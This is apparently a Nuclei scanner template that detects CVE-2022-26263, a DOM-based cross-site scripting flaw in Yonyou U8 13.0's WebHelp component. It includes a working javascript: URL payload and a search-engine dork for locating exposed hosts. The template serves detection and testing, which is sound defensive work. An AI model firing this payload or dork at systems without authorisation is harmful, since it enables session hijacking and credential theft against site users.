id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.00147
    epss-percentile: 0.49736
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query: inurl:/u8sl/WebHelp
  tags: cve,cve2022,yonyou,xss
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and
# digest: 4a0a00473045022100e37ad372599828f388758737187d39f7af6d209982640bfacb36de3f07030964022067f4aade34d620cefe075b649af02f725b844531387823be6fa1576f1e9e53cf:922c64590222798bb761d5b6d8e72950